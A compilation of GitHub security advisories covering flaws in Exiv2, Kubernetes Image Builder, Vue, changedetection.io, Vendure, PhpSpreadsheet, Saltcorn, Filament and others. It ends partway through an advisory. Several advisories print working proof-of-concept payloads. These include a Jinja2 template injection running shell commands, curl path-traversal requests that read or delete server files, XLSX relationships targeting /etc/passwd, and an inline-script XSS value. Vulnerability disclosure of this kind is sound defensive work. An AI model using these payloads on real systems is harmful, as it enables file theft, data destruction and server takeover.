Exiv2  has a denial of service due to unbounded recursion in QuickTimeVideo::multipleEntriesDecoder

[Severity: MEDIUM]

### Impact
A denial-of-service was found in Exiv2 version v0.28.1: an unbounded recursion can cause Exiv2 to crash by exhausting the stack. The vulnerable function, `QuickTimeVideo::multipleEntriesDecoder`, was new in v0.28.0 (see https://github.com/Exiv2/exiv2/pull/2337), so Exiv2 versions before v0.28 are _not_ affected.  Exiv2 is a command-line utility and C++ library for reading, writing, deleting, and modifying the metadata of image files. The denial-of-service is triggered when Exiv2 is used to read the metadata of a crafted video file.

### Patches
The bug is fixed in version v0.28.2.

### For more information
Please see our [security policy](https://github.com/Exiv2/exiv2/security/policy) for information about Exiv2 security.

### Credit
This bug was found by [OSS-Fuzz](https://github.com/google/oss-fuzz).


VM images built with Image Builder and Proxmox provider use default credentials in github.com/kubernetes-sigs/image-builder

[Severity: CRITICAL]

A security issue was discovered in the Kubernetes Image Builder versions <= v0.1.37 where default credentials are enabled during the image build process. Virtual machine images built using the Proxmox provider do not disable these default credentials, and nodes using the resulting images may be accessible via these default credentials. The credentials can be used to gain root access. Kubernetes clusters are only affected if their nodes use VM images created via the Image Builder project with its Proxmox provider.


VM images built with Image Builder with some providers use default credentials during builds in github.com/kubernetes-sigs/image-builder

[Severity: MEDIUM]

A security issue was discovered in the Kubernetes Image Builder versions <= v0.1.37 where default credentials are enabled during the image build process when using the Nutanix, OVA, QEMU or raw providers. The credentials can be used to gain root access. The credentials are disabled at the conclusion of the image build process. Kubernetes clusters are only affected if their nodes use VM images created via the Image Builder project. Because these images were vulnerable during the image build process, they are affected only if an attacker was able to reach the VM where the image build was happening and used the vulnerability to modify the image at the time the image build was occurring.


ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function

[Severity: LOW]

The ReDoS can be exploited through the `parseHTML` function in the `html-parser.ts` file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.

To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a `<script>` tag but closes it incorrectly with something like `</textarea>`.

```javascript
new Vue({
  el: '#app',
  template: '
    <div>
      Hello, world!
      <script>${'<'.repeat(1000000)}</textarea>
    </div>'
});
```
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:

```html
<!DOCTYPE html>
<html>
<head>
  <title>My first Vue app</title>
</head>
<body>
  <div id=\"app\">Loading...</div>
</body>
</html>
```

When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.


Malicious homeservers can steal message keys when the matrix-react-sdk user invites another user to a room

[Severity: HIGH]

### Impact

matrix-react-sdk before 3.102.0 allows a malicious homeserver to potentially steal message keys for a room when a user invites another user to that room, via injection of a malicious device controlled by the homeserver. This is possible because matrix-react-sdk before 3.102.0 shared historical message keys on invite.

### Patches

matrix-react-sdk 3.102.0 [disables sharing message keys on invite](https://github.com/matrix-org/matrix-react-sdk/pull/12618) by removing calls to the vulnerable functionality.

### Workarounds

None.

### References

The vulnerability in matrix-react-sdk is caused by calling `MatrixClient.sendSharedHistoryKeys` in matrix-js-sdk, which is inherently vulnerable to this sort of attack. This matrix-js-sdk vulnerability is tracked as CVE-2024-47080 / [GHSA-4jf8-g8wp-cx7c](https://github.com/matrix-org/matrix-js-sdk/security/advisories/GHSA-4jf8-g8wp-cx7c). Given that this functionality is not specific to sharing message keys on *invite*, is optional, has to be explicitly called by the caller and has been independently patched in matrix-react-sdk by removing the offending calls, we believe it is proper to treat the matrix-react-sdk vulnerability as a separate one, with its own advisory and CVE.

The matrix-org/matrix-react-sdk repository has recently been archived and the project was moved to [element-hq/matrix-react-sdk](https://github.com/element-hq/matrix-react-sdk). Given that this happened *after* the first patched release, no releases of the project on [element-hq/matrix-react-sdk](https://github.com/element-hq/matrix-react-sdk) were ever vulnerable to this vulnerability.

Patching pull request: https://github.com/matrix-org/matrix-react-sdk/pull/12618.

### For more information

If you have any questions or comments about this advisory, please email us at security at [security at matrix.org](mailto:security@matrix.org).


changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution

[Severity: CRITICAL]

### Summary
A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.

### Details

changedetection.io version: 0.45.20
```
docker images
REPOSITORY                            TAG       IMAGE ID       CREATED        SIZE
dgtlmoon/changedetection.io           latest    53529c2e69f1   44 hours ago   423MB
```

The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.
```python
from jinja2 import Environment, BaseLoader
...
    # Get the notification body from datastore
    jinja2_env = Environment(loader=BaseLoader)
    n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)
    n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)
```

### PoC
1. Create/Edit a URL watch item
2. Under *Notifications* tab insert this payload:
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
![Screenshot from 2024-04-19 15-46-04](https://github.com/dgtlmoon/changedetection.io/assets/35783570/b6a5779f-fd1e-4708-9b2d-21cb97f0bb4f)

3. See Telegram (or other supported messaging app) notification

![Screenshot from 2024-04-19 16-02-12](https://github.com/dgtlmoon/changedetection.io/assets/35783570/20877919-d6fe-49f1-bbd2-586e900207f1)

### Impact
In the PoC I've used `id` as payload and Telegram to read the result.
Attackers can run any system command without any restriction and they don't need to read the result in the notification app (e.g. they could use a reverse shell).
The impact is critical as the attacker can completely takeover the server host.
This can be reduced if changedetection access is protected by login page with a password, but this isn't required by the application (not by default and not enforced).

### References
- https://www.hacktivesecurity.com/blog/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
- https://docs.cobalt.io/bestpractices/prevent-ssti/

### Credits

Edoardo Ottavianelli


Vendure asset server plugin has local file read vulnerability with AssetServerPlugin & LocalAssetStorageStrategy

[Severity: CRITICAL]

# Description

## Path traversal

This vulnerability allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server.

From Rajesh Sharma who discovered the vulnerability:

POC: `curl --path-as-is http://localhost:3000/assets/../package.json` gives you the content of package.json present in the local directory.

The vulnerability stems from usage of decodedReqPath directly in path.join without performing any path normalization i.e path.normalize in node.js

https://github.com/vendure-ecommerce/vendure/blob/801980e8f599c28c5059657a9d85dd03e3827992/packages/asset-server-plugin/src/plugin.ts#L352-L358

If the vendure service is behind some server like nginx, apache, etc. Path normalization is performed on the root server level but still the actual client's request path will be sent to vendure service but not the resultant normalized path. However, depending the type of root server one can try various payloads to bypass such normalization.

The reporter found a customer website which uses local asset plugin and using above mentioned vulnerability, and was able to find secrets like email credentials.

## DOS via malformed URI

In the same code path is an additional vector for crashing the server via a malformed URI

Again from Rajesh:

There is also a potential Denial of Service (DoS) issue when incorrectly encoded URI characters are passed as part of the asset URL. When these malformed requests are processed, they can lead to system crashes or resource exhaustion, rendering the service unavailable to users.
Exploit: `curl  --path-as-is http://localhost:3000/assets/%80package.json` , here `%80` is not a valid url-encoded character hence the decodeURIComponent is called on it, the entire app crashes.

```
[:server] /Users/abc/mywork/vendure/packages/asset-server-plugin/src/plugin.ts:353
[:server]         const decodedReqPath = decodeURIComponent(req.path);
[:server]                                ^
[:server] URIError: URI malformed
```

### Patches
v3.0.5, v2.3.3

### Workarounds
- Use object storage rather than the local file system, e.g. MinIO or S3
- Define middleware which detects and blocks requests with urls containing `/../`


SpiceDB calls to LookupResources using LookupResources2 with caveats may return context is missing when it is not

[Severity: LOW]

### Impact

Clients that have enabled `LookupResources2` and have caveats in the evaluation path for their requests can return a permissionship of `CONDITIONAL` with context marked as missing, even then the context was supplied.

LookupResources2 is the new default in SpiceDB 1.37.0 and has been opt-in since SpiceDB 1.35.0

### Patches
The bug will be released as part of SpiceDB 1.37.1

### Workarounds
Disable LookupResources2 via the `--enable-experimental-lookup-resources` flag by setting it to `false`

```
--enable-experimental-lookup-resources=false
```


Lord of Large Language Models (LoLLMs)  path traversal vulnerability in the api open_personality_folder endpoint

[Severity: MEDIUM]

A path traversal vulnerability exists in the api open_personality_folder endpoint of parisneo/lollms. This vulnerability allows an attacker to read any folder in the personality_folder on the victim's computer, even though sanitize_path is set. The issue arises due to improper sanitization of the personality_folder parameter, which can be exploited to traverse directories and access arbitrary files.


Extract has insufficient checks allowing attacker to create symlinks outside the extraction directory.

[Severity: MEDIUM]

### Impact
A maliciously crafted archive may allow an attacker to create a symlink outside the extraction target directory.

### Patches
Please use version 4.0.0 or later `github.com/codeclysm/extract/v4`. Any previous version is affected by the bug.

### Workarounds
No knows workarounds.

### Backward compatibility notes about upgrading to `/v4` from `/v3`

If you're not using the `extract.Extractor.FS` interface, you will not face any breaking changes and upgrading should be as simple as changing the import to `/v4`. This should be the case for most of the userbase.

If you're using the `Extractor.FS` interface, then upgrading to `/v4` will require to implement the new methods that have been added:

```go
type FS interface {
    Link(string, string) error
    MkdirAll(string, os.FileMode) error
    OpenFile(name string, flag int, perm os.FileMode) (*os.File, error)
    Symlink(string, string) error

    // The following methods have been added in the /v4 interface:

    Remove(path string) error
    Stat(name string) (os.FileInfo, error)
    Chmod(name string, mode os.FileMode) error
}
```

There should be no other breaking changes in the `/v4` API.


Lord of Large Language Models (LoLLMs) Server path traversal vulnerability in lollms_file_system.py

[Severity: LOW]

A path traversal vulnerability exists in the ParisNeo/lollms repository, specifically in the `lollms_file_system.py` file. The functions `add_rag_database`, `toggle_mount_rag_database`, and `vectorize_folder` do not implement security measures such as `sanitize_path_from_endpoint` or `sanitize_path`. This allows an attacker to perform vectorize operations on `.sqlite` files in any directory on the victim's computer, potentially installing multiple packages and causing a crash.


open-webui allows enumeration of file names and traversal of directories by observing the error messages

[Severity: LOW]

An information disclosure vulnerability exists in open-webui version 0.3.8. The vulnerability is related to the embedding model update feature under admin settings. When a user updates the model path, the system checks if the file exists and provides different error messages based on the existence and configuration of the file. This behavior allows an attacker to enumerate file names and traverse directories by observing the error messages, leading to potential exposure of sensitive information.


Wasmtime race condition could lead to WebAssembly control-flow integrity and type safety violations

[Severity: LOW]

### Impact

Under certain concurrent event orderings, a `wasmtime::Engine`'s internal type registry was susceptible to double-unregistration bugs due to a race condition, leading to panics and potentially type registry corruption. That registry corruption could, following an additional and particular sequence of concurrent events, lead to violations of WebAssembly's control-flow integrity (CFI) and type safety. Users that do not use `wasmtime::Engine` across multiple threads are not affected. Users that only create new modules across threads over time are additionally not affected.

Reproducing this bug requires creating and dropping multiple type instances (such as `wasmtime::FuncType` or `wasmtime::ArrayType`) concurrently on multiple threads, where all types are associated with the same `wasmtime::Engine`. **Wasm guests cannot trigger this bug.** See the "References" section below for a list of Wasmtime types-related APIs that are affected.

Wasmtime maintains an internal registry of types within a `wasmtime::Engine` and an engine is shareable across threads. Types can be created and referenced through creation of a `wasmtime::Module`, creation of `wasmtime::FuncType`, or a number of other APIs where the host creates a function (see "References" below). Each of these cases interacts with an engine to deduplicate type information and manage type indices that are used to implement type checks in WebAssembly's `call_indirect` function, for example. This bug is a race condition in this management where the internal type registry could be corrupted to trigger an assert or contain invalid state.

Wasmtime's internal representation of a type has individual types (e.g. one-per-host-function) maintain a registration count of how many time it's been used. Types additionally have state within an engine behind a read-write lock such as lookup/deduplication information. The race here is a time-of-check versus time-of-use (TOCTOU) bug where one thread atomically decrements a type entry's registration count, observes zero registrations, and then acquires a lock in order to unregister that entry. However, between when this first thread observed the zero-registration count and when it acquires that lock, another thread could perform the following sequence of events: re-register another copy of the type, which deduplicates to that same entry, resurrecting it and incrementing its registration count; then drop the type and decrement its registration count; observe that the registration count is now zero; acquire the type registry lock; and finally unregister the type. Now, when the original thread finally acquires the lock and unregisters the entry, it is the second time this entry has been unregistered.

| Thread A                          | Thread B                       |
|-----------------------------------|--------------------------------|
| `acquire(type registry lock)`     |                                |
|                                   | `decref(E) --> 0`              |
|                                   | `block_on(type registry lock)` |
| `register(E') == incref(E) --> 1` |                                |
| `release(type registry lock)`     |                                |
| `decref(E) --> 0`                 |                                |
| `acquire(type registry lock)`     |                                |
| `unregister(E)`                   |                                |
| `release(type registry lock)`     |                                |
|                                   | `acquire(type registry lock)`  |
|                                   | `unregister(E)`          |

This double-unregistration could then lead to a WebAssembly CFI violation under the following conditions: a new WebAssembly module `X` was loaded into the engine before the second, buggy unregistration occurs; `X` defined a function type `F` that was allocated in the same type registry slot where the original entry was allocated; the second, buggy unregistration incorrectly unregistered `F`; another new WebAssembly module `Y` was loaded into the engine; `Y` defined a function type `G`, different from `F`, but which is also allocated in the same type registry slot; a `funcref` of type `G` is created, either by the host or by Wasm; that `funcref` is passed to a WebAssembly instance of module `X`; that instance performs a `call_indirect` to that `funcref`; the `call_indirect`'s dynamic type check, which preserves CFI, could incorrectly pass in this case, because `F` and `G` were assigned the same type registry slot. This would, ultimately, allow calling a function with too many, too few, or wrongly-typed arguments, violating CFI and type safety.

We were not able to reproduce this CFI violation in a vanilla Wasmtime build, although it remains theoretically possible. However, by modifying Wasmtime's source code to make losing the races described above more likely (by disabling certain assertions, inserting panic catches, and adding retry loops in a few places if we did *not* lose the race) we were able to incorrectly get a `funcref` to pass a type check that it should have failed, which would allow the CFI violation.

### Patches

This bug was originally introduced in Wasmtime 19's development of the WebAssembly GC proposal. This bug affects users who are not using the GC proposal, however, and affects Wasmtime in its default configuration even when the GC proposal is disabled. Wasmtime users using 19.0.0 and after are all affected by this issue. We have released the following Wasmtime versions, all of which have a fix for this bug:

* 21.0.2
* 22.0.1
* 23.0.3
* 24.0.1
* 25.0.2

### Workarounds

If your application creates and drops Wasmtime types on multiple threads concurrently, there are no known workarounds. Users are encouraged to upgrade to a patched release.

### References

The fol


PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled

[Severity: MEDIUM]

### Summary

It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.

### Details

XLSX files allow embedding or linking media. When

In `xl/drawings/drawing1.xml` an attacker can do e.g.:
```xml
<a:blip cstate="print" r:link="rId1" />
```

And then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:
```xml
<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="/etc/passwd" />
```
or
```xml
<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://example.org" />
```

When the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.

```php
if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
    $picture = @file_get_contents($filename);
    if ($picture !== false) {
        $imageDetails = getimagesize($filename) ?: ['mime' => ''];
        // base64 encode the binary data
        $base64 = base64_encode($picture);
        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
    }
}

$html .= '<img style="position: absolute; z-index: 1; left: '
    . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
    . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
    . $imageData . '" alt="' . $filedesc . '" />';
```

### PoC

```php
<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();

// The below is just for demo purposes

$pattern = '/data:;base64,(?<data>[^"]+)/i';

preg_match_all($pattern, $output, $matches);

print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));

print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));
```

Add this file in the same directory:
[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)

Run with:
`php index.php`

### Impact

When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.


PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file

[Severity: HIGH]

### Summary

It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted `php://filter` URLs an attacker can leak the contents of any file or URL.

Note that this vulnerability is different from [GHSA-w9xv-qf98-ccq4](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4), and resides in a different component.

### Details

When an XLSX file is opened, the XLSX reader calls `setPath()` with the path provided in the `xl/drawings/_rels/drawing1.xml.rels` file in the XLSX archive:

```php
if (isset($images[$embedImageKey])) {
    // ...omit irrelevant code...
} else {
    $linkImageKey = (string) self::getArrayItem(
        $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),
        'link'
    );
    if (isset($images[$linkImageKey])) {
        $url = str_replace('xl/drawings/', '', $images[$linkImageKey]);
        $objDrawing->setPath($url);
    }
}
```

`setPath()` then reads the file in order to determine the file type and dimensions, if the path is a URL:

```php
public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static
{
    if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {
        // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979
        if (filter_var($path, FILTER_VALIDATE_URL)) {
            $this->path = $path;
            // Implicit that it is a URL, rather store info than running check above on value in other places.
            $this->isUrl = true;
            $imageContents = file_get_contents($path);
            // ... check dimensions etc. ...
```

It's important to note here, that `filter_var` considers also `file://` and `php://` URLs valid.

The attacker can set the path to anything:

```xml
<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="this can be whatever" />
```

The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an [error oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle) which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit

### PoC

Target file:

```php
<?php

require 'vendor/autoload.php';

// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to
// keep the PoC simple, I've combined this into the same file.

$file = "book_tampered.xlsx";
$payload = $_POST["payload"]; // the payload comes from the Python script

copy("book.xlsx",$file);
$zip = new ZipArchive;
$zip->open($file);

$path = "xl/drawings/_rels/drawing1.xml.rels";
$content = $zip->getFromName($path);
$content = str_replace("../media/image1.gif", $payload, $content);
$zip->addFromString($path, $content);

$path = "xl/drawings/drawing1.xml";
$content = $zip->getFromName($path);
$content = str_replace('r:embed="rId1"', 'r:link="rId1"', $content);
$zip->addFromString($path, $content);

$zip->close();

// The actual target - note that simply opening the file is sufficient for the attack

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/' . $file);

```

Add this file in the same directory:
[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213296/book.xlsx)

Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.

Download the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's `bruteforcer.py` file to change `self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)` to `self.blow_up_inf = self.join(*[self.blow_up_utf32]*20)`. This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with `pip`.

Then run the Python script with:
```
python3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd
```

Note that the attack relies on certain character encodings being supported by the system's `iconv` library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.

Here's the results I got after about a minute of bruteforcing:

![image](https://github.com/PHPOffice/PhpSpreadsheet/assets/1294941/06cbaf62-1001-481f-bbcd-d818a61896c4)

### Impact

An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.


Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability

[Severity: HIGH]

### Summary

A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.

### Details

- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346

```js
router.post(
  "/clean_sync_dir",
  error_catcher(async (req, res) => {
    const { dir_name } = req.body; // [1] source
    try {
      const rootFolder = await File.rootFolder();
      const syncDir = path.join(
        rootFolder.location,
        "mobile_app",
        "sync",
        dir_name // [2]
      );
      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
      res.status(200).send("");
    } catch (error) {
      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
      res.status(400).json({ error: error.message || error });
    }
  })
);
```

### PoC

The following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)

- create a file in a folder different from where the server is started:
```
touch /tmp/secret
cat /tmp/secret
```

- log with a user and retrieve valid `connect.sid` and `_csrf` values***
- send the following `curl` request
```
curl -i -X $'POST' \
  -H $'Host: localhost:3000' \
  -H $'Content-Type: application/x-www-form-urlencoded' \
  -H $'Content-Length: 93' \
  -H $'Origin: http://localhost:3000' \
  -H $'Connection: close' \
  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
  --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
  $'http://localhost:3000/sync/clean_sync_dir'
```

- check if the file previously created does not exist anymore:
```
cat /tmp/secret
cat: /tmp/secret: No such file or directory
```

*** obtain `connect.sid` and `_csrf` values

A possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:
- log in
- open the browser developer console, go to the `Network` tab filter for `settings` request
- visit `http://localhost:3000/auth/settings`
- trigger the change password functionality
- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command

### Impact

Arbitrary file delete

### Recommended Mitigation

Resolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.


Lara-zeus Dynamic Dashboard and Artemis do not validate paragraph widget values which can be used for XSS

[Severity: MEDIUM]

# Summary
If values passed to a paragraph widget are not valid and contain a specific set of characters, applications are vulnerable to XSS attack against a user who opens a page on which a paragraph widget is rendered.

Versions of dynamic dashboard from v3.0.0 through v3.0.2 are affected.

Please upgrade to dynamic dashboard [v3.0.2](https://github.com/lara-zeus/dynamic-dashboard/releases/tag/v3.0.2).

# PoC
>PoC will be published in a few weeks, once developers have had a chance to upgrade their apps.

# Response
This vulnerability (in paragraph widget only) was reported by **Raghav Sharma**, who reported the issue and patched the issue during the morning of 05/10/2024. Thank you **Raghav Sharma**.

The review process concluded the same day at night, which revealed the issue was also present in paragraph widget. This was fixed the same day and dynamic dashboard [v3.0.2](https://github.com/lara-zeus/dynamic-dashboard/releases/tag/v3.0.2) followed.

## Note:
if you're published the view (blade files), you have to republish them or check the changes on release to update the affected file.


Duplicate Advisory: Contao allows admin an account to upload SVG file containing malicious JavaScript

[Severity: LOW]

## Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-vqqr-fgmh-f626. This link is maintained to preserve external references.

## Original Description

Contao 5.4.1 allows an authenticated admin account to upload a SVG file containing malicious javascript code into the target system. If the file is accessed through the website, it could lead to a Cross-Site Scripting (XSS) attack or execute arbitrary code via a crafted javascript to the target.


Jenkins Credentials plugin reveals encrypted values of credentials to users with Extended Read permission

[Severity: MEDIUM]

Jenkins Credentials Plugin 1380.va_435002fa_924 and earlier, except 1371.1373.v4eb_fa_b_7161e9, does not redact encrypted values of credentials using the `SecretBytes` type (e.g., Certificate credentials, or Secret file credentials from Plain Credentials Plugin) when accessing item `config.xml` via REST API or CLI.

This allows attackers with Item/Extended Read permission to view encrypted `SecretBytes` values in credentials.

This issue is similar to SECURITY-266 in the 2016-05-11 security advisory, which applied to the `Secret` type used for inline secrets and some credentials types.

Credentials Plugin 1381.v2c3a_12074da_b_ redacts the encrypted values of credentials using the `SecretBytes` type in item `config.xml` files.

This fix is only effective on Jenkins 2.479 and newer, LTS 2.462.3 and newer. While Credentials Plugin 1381.v2c3a_12074da_b_ can be installed on Jenkins 2.463 through 2.478 (both inclusive), encrypted values of credentials using the `SecretBytes` type will not be redacted when accessing item `config.xml` via REST API or CLI.


Filament has unvalidated ColorColumn and ColorEntry values that can be used for Cross-site Scripting

[Severity: MEDIUM]

### Summary

If values passed to a `ColorColumn` or `ColumnEntry` are not valid and contain a specific set of characters, applications are vulnerable to XSS attack against a user who opens a page on which a color column or entry is rendered.

Versions of Filament from v3.0.0 through v3.2.114 are affected.

Please upgrade to Filament [v3.2.115](https://github.com/filamentphp/filament/releases/tag/v3.2.115).

### PoC

For example, using a value such as:

```html
blue;"><script>alert('There\'s a security problem here')</script style="
```

Would get passed into the `@style()` Blade directive from Laravel to render the correct background color, where `$state` contains the value:

```blade
<div @style([
    "background-color: {$state}" => $state,
])></div>
```

Since Laravel does not escape special characters within the `@style` Blade directive, the effective output HTML would be:

```html
<div style="background-color: blue;"><script>alert('There\'s a security problem here')</script style=""></div>
```

Creating the opportunity for arbitrary JS to run if it was stored in the database.

### Response

This vulnerability (in `ColorColumn` only) was reported by @sv-LayZ, who reported the issue and patched the issue during the evening of 25/09/2024. Thank you Mattis.

The review process concluded on 27/09/2024, which revealed the issue was also present in `ColorEntry`. This was fixed the same day and Filament [v3.2.115](https://github.com/filamentphp/filament/releases/tag/v3.2.115) followed to escape any special characters while outputting inline styles like this:

```blade
<div @style([
    'background-color: ' . e($state) => $state,
])></div>
```

Although these components are no longer vulnerable to this type of XSS attack, it is good practice to validate colors, and since many Filament users may be accepting color input using the `ColorPicker` form component, [additional color validation documentation was published](https://filamentphp.com/docs/3.x/forms/fields/color-picker#color-picker-validation).


Ory Kratos's setting required_aal `highest_available` does not properly respect code + mfa credentials

[Severity: MEDIUM]

## Preconditions

- The `code` login method is enabled with the `passwordless_enabled` flag set to `true` .
- A 2FA method such as `totp` is enabled.
- `required_aal` of the whomai check or the settings flow is set to `highest_available`. AAL stands for Authenticator Assurance Levels and can range from 0 (no factor) to 2 (two factors).
- A user uses the `code` method as the **only** login method available. They do not have a password or any other first factor credential enabled.
- The user has 2FA enabled.
- The user’s `available_aal` is incorrectly stored in the database as `aal1` or `aal0` or `NULL`.
- A user signs in using the code method, but does not complete the 2FA challenge.

**Example server configuration**

Below you will find an vulnerable example configuration. Keep in mind that, for the account to be vulnerable, the account must have no first factor except the `code` method enabled plus a second factor.

```
selfservice:
  methods:
    code:
      # The `code` login method is enabled with the `passwordless_enabled` flag set to `true`
      passwordless_enabled: true
    totp:
      # 2FA method such as `totp` is enabled
      enabled: true
  flows:
    settings:
      # This is set
      required_aal: highest_available
session:
  whoami:
    # Or this
    required_aal: highest_available
```

## Impact

Given the preconditions, the `highest_available` setting will incorrectly assume that the identity’s highest available AAL is `aal1` even though it really is `aal2`. This means that the `highest_available` configuration will act as if the user has only one factor set up, for that particular user. This means that they can call the settings and whoami endpoint without a `aal2` session, even though that should be disallowed.

An attacker would need to steal or guess a valid login OTP of a user who has only OTP for login enabled and who has an incorrect `available_aal` value stored, to exploit this vulnerability.

All other aspects of the session (e.g. the session’s aal) are not impacted by this issue.

On Ory Network, only 0,00066% of registered users were affected by this issue, and most of those users appeared to be test users. Their respective AAL values have since been updated and they are no longer vulnerable to this attack.

### Patches

Version 1.3.0 is not affected by this issue.

### Workarounds

If you require 2FA please disable the passwordless code login method. If that is not possible, check the sessions `aal` to identify if the user has `aal1` or `aal2`.


Maven Archetype Plugin: Maven Archetype integration-test may package local settings into the published artifact, possibly containing credentials

[Severity: LOW]

Exposure of Sensitive Information to an Unauthorized Actor, Insecure Storage of Sensitive Information vulnerability in Maven Archetype Plugin.

This issue affects Maven Archetype Plugin: from 3.2.1 before 3.3.0.

Users are recommended to upgrade to version 3.3.0, which fixes the issue.

Archetype integration testing creates a file
called ./target/classes/archetype-it/archetype-settings.xml
This file contains all the content from the users ~/.m2/settings.xml file,
which often contains information they do not want to publish. We expect that on many developer machines, this also contains
credentials.

When the user runs mvn verify again (without a mvn clean), this file becomes part of the final artifact.

If a developer were to publish this into Maven Central or any other remote repository (whether as a release or a snapshot) their credentials would be published without them knowing.


Apache Linkis Spark EngineConn: Commons Lang's RandomStringUtils Random string security vulnerability

[Severity: HIGH]

In Apache Linkis <= 1.5.0, a Random string security vulnerability in Spark EngineConn, random string generated by the Token when starting Py4j uses the Commons Lang's RandomStringUtils.
Users are recommended to upgrade to version 1.6.0, which fixes this issue.


Gematik Referenzvalidator has an XXE vulnerability that can lead to a Server Side Request Forgery attack

[Severity: HIGH]

### Impact
